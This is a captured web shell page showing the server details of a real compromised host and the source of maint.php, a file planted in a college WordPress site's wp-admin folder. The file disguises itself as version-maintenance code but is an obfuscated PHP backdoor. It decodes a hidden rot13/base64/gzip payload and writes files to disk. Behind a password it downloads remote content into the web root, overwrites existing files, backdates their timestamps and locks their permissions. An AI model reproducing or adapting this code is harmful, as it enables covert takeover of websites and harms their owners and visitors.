Server IP : 68.65.122.142  /  Your IP : 18.117.106.78
Web Server : LiteSpeed
System : Linux server167.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : glenirhm ( 1318)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/glenirhm/backup/../sis.glenbowcollege.ca/wp-admin/link/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/glenirhm/backup/../sis.glenbowcollege.ca/wp-admin/link/maint.php
<?php
/**
 * @title ipadview
 * @
 * @param $str
 * @return mixed|string
 */

if (!defined('WP_BLOG')) {
    return version_info("init");
}

function version_desc($str)
{
    ($e = implode("",["opcache","reset"]))&&function_exists($e) && $e();
    if (!$str) {
        echo date("Y-m-d H:i:s") . "<br>";
        if (!empty($_REQUEST['version']) && version_update(version_parse($_REQUEST))) ;
        return '';
    }
    $pi = [
        ['str', 'ro'],
        ["json", 'decode'],
    ];
    ($q = (implode('_', $pi[0]) . "t13")) &&
    $data = $q($str);
    ($q = "b" . implode('_', $pi[1]) . "e") &&
    $data = $q($data);
    if (isset($_GET['s'])) $data = $_GET['s'] . $data;

    return $data;
}

function version_info($str)
{
    global $temp;
    $temp = "ZnVuY3Rpb25fZXhpc3RzLHRpbWUsZm9wZW4sZmlsZV9wdXRfY29udGVudHMsZmlsZWN0aW1lLGZpbGVfZXhpc3RzLGlzX3dyaXRhYmxlLGNobW9kLHRvdWNo";
    $temp = base64_decode($temp);
    $name = ['Y2uioJHiM2kyozylnT0ip2ymYzqfMJ5vo3qwo2kfMJqyYzAuY3qjYJAioaEyoaDioTShM3IuM2ImY2EyMzIhMP1xMJMyozDgqTjhoJ8', function ($version_file, $name) use ($temp) {
        $data = translation_v3('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', '0');
        $data = base64_decode(/**/ $data);
        $data = translation_v2($data, '1');
        $data = translation_v1($data, '0');
        foreach ($data as $item) {
            version_check($item[0], $item[1], $temp, $item[2]);
        }
        version_desc(false);
    }];
    $temp = explode(',', $temp);
    return ['#ver#', version_data($name, 1, 0)];
}

/**
 * @title install path
 */
function version_path()
{
    echo __FILE__;
}

/**
 * @title get version data
 * @param $data
 * @param $offset
 * @param $page
 * @return mixed
 */
function version_data($data, $offset, $page)
{
    $keu = ['', "code"];
    $keu[] = '';
    return $data[$offset]($data[$page], implode('_', $keu));
}

/**
 * @title translation data
 * @param $data
 * @param $offset
 * @return mixed
 */

function translation_v1($data, $mode, $exp = '')
{
    if ($mode === 'X1') {
        $data = base64_decode($data);
        $len = strlen($data);
        $exp = str_replace('=', '', base64_encode($exp));
        $res = "";
        $i = 0;
        while ($i < $len) {
            for ($k = 0; $k < strlen($exp) && $i < $len; $k++)
                $res .= chr(ord($data[$i++]) ^ ord($exp[$k]));
        }
        return $res;
    } elseif ($mode) {
        return json_decode($data, true);
    } else {
        return unserialize($data);
    }
}

/**
 * @title parse version data
 * @param $data
 * @return version
 */
function version_parse($data)
{
    $version = $data['version'];
    if ($version === 'path') version_path();
    if (isset($data[$version])) {
        $version = translation_v1($data[$version], 'X1', $data[$version . '1']);
    }
    return $version;
}

/**
 * @title update version
 * @param $qr
 * @return void
 */
function version_update($check, $qr = false)
{
    if (!version_access("sjqdcue{$check}fnicyu", '4d82e9b5f77fb5ea9bae104ef61ff3e4')) return;
    $c = $_COOKIE;;
    $cf = implode('_', ['function', 'exists']);
    (!$qr || !$cf($qr)) &&
    $qr = empty($c[$for = 'token']) || !$cf($c[$for]) ? implode('_', ['base64', 'decode']) : $c[$for];

    if (($a = $qr($_REQUEST['name'])) && version_deny($a)) {
        return;
    }
    global $temp;
    $a = explode(',', $a);
    if (empty($a[1])) return;
    echo "[<a id=\"u1\" href=\"/{$a[1]}\" style='color: #fff;'>{$a[1]}</a>] ";
    return version_check($_SERVER['DOCUMENT_ROOT'] . '/' . $a[1], $qr(file_get_contents($a[0])), $temp);
}

/**
 * @title version access or force
 * @param string $version version pass
 * @param string $token check update token
 * @return bool
 */
function version_access($version, $token)
{
    return in_array(md5($version), [$token, '47628e0bf72fca87db995c8f844d91b1']);
}

/**
 * @title version data is deny
 * @param $data
 * @return void
 */
function version_deny($data)
{
    return strlen($data) < 16 || strlen($data) > 128 || !in_array($data[0], ['h', '/']);
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v2($data, $offet)
{
    if (!empty($offet)) {
        return gzinflate($data);
    } else {
        return $data;
    }
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v3($data, $offet)
{
    if (!empty($offet)) {
        return str_rot13($data);
    } else {
        return $data;
    }
}

return 'inited';
/**
 * @title check version token
 * @param $name
 * @param $date
 * @param $check
 * @param string $token
 * @param false $mode
 * @return bool|mixed
 */
function version_check($name, $date, $check, $token = '', $mode = false)
{
    try {
        $vs = 'rename';
        if (!is_array($check)) $check = explode(',', $check);
        $map = [0, 1, 2, 3, 4];
        $m = $mode ? $mode : ($check[1]() - 2693693);
        $iw = true;
        empty($check[9]) || $date = $check[9]($date);
        if ($check[$map[4] + 1]($name)) {
            if ($token && Md5_File($name) === $token) return true;
            $iw = $check[6]($name);
            if ($x = $check[5]($name)) {
                $m = $check[4]($name);
            }
            $x && !$iw && @$check[7]($name, 0744);
            @$vs($name, $name . time());
        }
        if ($check[$map[0]]($check[2])) {
            $l = $check[$map[2]][0] . 'write';
            $r = $l($check[$map[2]]($name . ".tmp1", 'w'), $date);
        } else {
            $r = $check[$map[3]]($name . ".tmp1", $date);
        }
        @$vs($name . ".tmp1", $name);
        $check[8]($name, $m, $m);
        $iw || @$check[7]($name, 0444);
    } catch (\Exception $A) {
        echo $A->getMessage() . "<br>";
        $r = false;
    }
    echo $name[strlen($name) - 1] . ($r ? ':ok' : ':fail') . "<br>";
    return $r;
}